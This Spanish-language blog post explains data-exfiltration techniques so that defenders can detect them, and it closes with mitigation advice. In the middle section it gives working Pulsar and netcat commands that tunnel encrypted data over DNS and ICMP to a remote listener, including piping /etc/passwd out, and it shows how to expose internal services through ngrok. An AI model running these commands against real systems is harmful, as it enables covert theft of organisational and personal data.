exfiltrando datos

Overview

Una de las mayores preocupaciones en el campo de la seguridad de la información son los datos y la violación de los mismos. Muchas de las políticas y prácticas habituales son para prevenir que los datos puedan ser comprometidos.

Existen distintos supuestos por los que un dato puede ser comprometido. En ocasiones debido a que nos hayan conseguido comprometer un sistema de nuestra organización, ya sea un servidor o el equipo de un usuario, por un empleado malicioso que pretenda beneficiarse de la propiedad intelectual de nuestra organización o de un empleado que de forma involuntaria expone los datos de la compañía.

Sea cual sea el caso, el resultado es que la información de nuestra organización se ve comprometida y nos exponemos a la perdida de reputación ante nuestros clientes, perdida de una posible ventaja con respecto a nuestros competidores y a sanciones según los datos que se hayan visto expuestos.

En este post nos centraremos en las técnicas que pueden ser usadas cuando hemos sido comprometidos para la exfiltración de los datos de nuestra organización y por debajo del radar de nuestros sistemas de seguridad.

Exfiltración de datos

Existen muchas técnicas de exfiltración de datos, mayoritariamente abusado de protocolos para, con un uso diferente para el que estos han sido diseñados, se consiga enviar información de modo que se confunda con tráfico legítimo y de este modo que pase inadvertido.

HTTP, ICMP, DNS, … con casi todos los protocolos de red se han exfiltrado datos en alguna ocasión. Dependiendo del protocolo dispondremos de mayor velocidad o mayor sigilo.

Pulsar

Pulsar es una herramienta desarrollada en GO, se puede descargar de GitHub y nos permite la exfiltración de datos mediante distintos protocolos. En el siguiente ejemplo, lo hemos realizado mediante el protocolo DNS. Crearemos un servidor, que permanecerá a la escucha de los datos que enviemos desde un cliente que será el emisor.

El servidor tiene la ip 192.168.88.89 y estamos usando el puerto 53 ya que es el predeterminado del protocolo DNS, aunque podríamos usar otro, como por ejemplo un *hi port** como se muestra en el ejemplo de la documentación del proyecto.

En el lado del servidor tenemos que ejecutar dos comandos en terminales separadas.

1
~:$ nc -l -p 9900 
1
~:$ ./pulsar --in dns:[email protected]:53 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode 

En el lado del cliente ejecutaremos también dos comandos en terminales separados.

1
~:$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:53 --duplex --plain in --handlers 'cipher:supersekretkey!!' 
1
~:$ nc 127.0.0.1 9000 

Una vez ejecutados, todo lo que escribamos en el terminal donde tenemos ejecutado el comando nc se enviará al servidor.

Lo interesante en este caso es que si analizamos en tráfico con Wireshark veremos, no solo que se está mandado la información como si de peticiones DNS se tratara, sino que, además, está siendo cifrada. Lo que nos ayuda a pasar inadvertidos en caso de que alguien este supervisando el tráfico de la red.

Podemos también enviar ficheros ejecutando nc del siguiente modo.

1
~:$ cat /etc/passwd | nc 127.0.0.1 9000 

Realizamos el mismo ejercicio, en esta ocasión usando el protocolo ICMP. El mismo proceso que en el ejemplo anterior.

En el lado del servidor tenemos que ejecutar dos comandos, como en el ejemplo anterior, en terminales separados.

1
~:$ nc -l -p 9900 
1
~:$ ./pulsar --in icmp:192.168.88.89 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode 

Y en el lado del cliente lo realizaremos igualmente siguiendo el mismo procedimiento.

1
~:$ ./pulsar --in tcp:127.0.0.1:9000 --out icmp:192.168.88.89 --duplex --plain in --handlers 'cipher:supersekretkey!!' 
1
~:$ nc 127.0.0.1 9000 

Como en el caso anterior podemos ver el tráfico con Wireshark. Podemos observar en la imagen, que el contenido está cifrado y la única diferencia que encontraremos con un ping auténtico es el tamaño del paquete.

En internet encontraremos otras herramientas para realizar la misma acción de exfiltrado de datos con distintos sistemas, usando imágenes, peticiones GET y POST o incluso mediante certificados. Según nuestras necesidades podremos escoger una u otra.

Exponiendo servicios

A pesar de que no es el modo más ortodoxo, en ocasiones nos puede ser de utilidad exponer un servicio completo y así, desde otra ubicación, poder realizar la exfiltración.

Proxy reverso

Un caso puede ser que el equipo del que disponemos no tiene acceso al sistema del que queremos obtener los datos, por lo que será necesario * hacer un rodeo. *

Una solución de la que podemos hacer uso para ”pivotar” un servicio es el proxy reverso.

Este tipo de proxy es de uso habitual para exponer de forma indirecta servicios web. Pero lo podemos usar también para hacer de puente entre dos equipos, permitiendo hacer llegar un servicio a un equipo al que por la topología de la red este no debería tener acceso.

Es muy fácil crearlo con nuevos lenguajes de programación como GO y como este lenguaje es multiplataforma, lo podemos ejecutar en cualquier sistema.

Comparto una versión simple, que desarrollé, publicada en mi GitHub, veréis que con muy pocas líneas de código se levanta un proxy y se consigue retransmitir el servicio original.

Ngrok

ngrok es un servicio que nos permite realizar un túnel entre un servicio local y un servidor público. Es muy útil para desarrolladores que, en cuestión de segundos, pueden publicar su aplicación y mostrarla a sus clientes sin tener que abrir ningún puerto en su infraestructura. También se puede usar para, de forma particular, poder acceder a servicios de tu red sin necesidad de abrir puertos en el router. Es muy útil, pero hay que usarlo con precaución, ya que puede exponer tanto un servicio del equipo local como un servicio remoto.

Después de registrarnos en su página web e instalar el token en nuestro equipo siguiendo las instrucciones que nos proporcionan en la web, su uso es tan simple como ejecutar el siguiente comando, para exponer en este caso el servicio https://192.168.1.1.

1
2
~:$ ngrok http 192.168.1.1:443 

El sistema nos proporcionará una consola, desde la que podemos contralar el tráfico en tiempo real y nos proporciona también las url de un panel web, donde podemos obtener un mayor detalle del tráfico y las url con las que podemos compartir nuestro servicio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

ngrok by
@inconshreveable

Session Status online

Account lliwi (Plan: Free)

Version 2.3.35

Region United States (us)

Web Interface http://127.0.0.1:4040

Forwarding http://b80d15066e4e.ngrok.io -> https://192.168.1.1:443

Forwarding https://b80d15066e4e.ngrok.io -> https://192.168.1.1:443


Connections ttl opn rt1 rt5 p50 p90

5 1 0.07 0.02 0.66 0.70


Conclusiones

La exfiltración de datos es una cuestión que ha preocupado siempre a las empresas. Tanto por la protección de la propiedad intelectual, el know-how particular o para salvaguardar los datos de sus clientes.

Desde mayo del 2018, la normativa europea GDPR pone el foco en la protección de la información, aplicando sanciones, en ocasiones importantes, según el tipo de datos que se hayan expuesto.

Para protegernos de este tipo de amenazas tenemos, al menos, cuatro principios que nos pueden ayudar a protegernos.

El primero, mínimos permísos necesarios. Con ello conseguiremos limitar la cantidad de información expuesta.

El segundo, ** segmentación**. Con una red segmentada, conseguiremos minimizar las opciones de exfiltración de los datos. El uso de un proxy para controlar el acceso a internet y la segmentación del servicio DNS separando las resoluciones de la red interna harán muy difícil las conexiones no autorizadas.

El tercero, bloquear servicios no necesarios. Disponer de un firewall que bloquee los servicios no necesarios, como el ICMP a servicios públicos, o servicios como ngrok que pueden comprometer la seguridad de nuestra red.

El cuarto, monitorizar. Este será el más complicado de los cuatro ya que, como hemos observado en los ejemplos expuestos, el tráfico parece lícito. Pero ahora que tenemos la información de cómo funcionan podemos establecer IOCs (indicadores de compromiso) en nuestro siem de pings con un peso superior al habitual, consultas DNS servidores no autorizados, etc …

Hasta aquí el post de hoy. Espero haya sido de vuestro interés.
No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.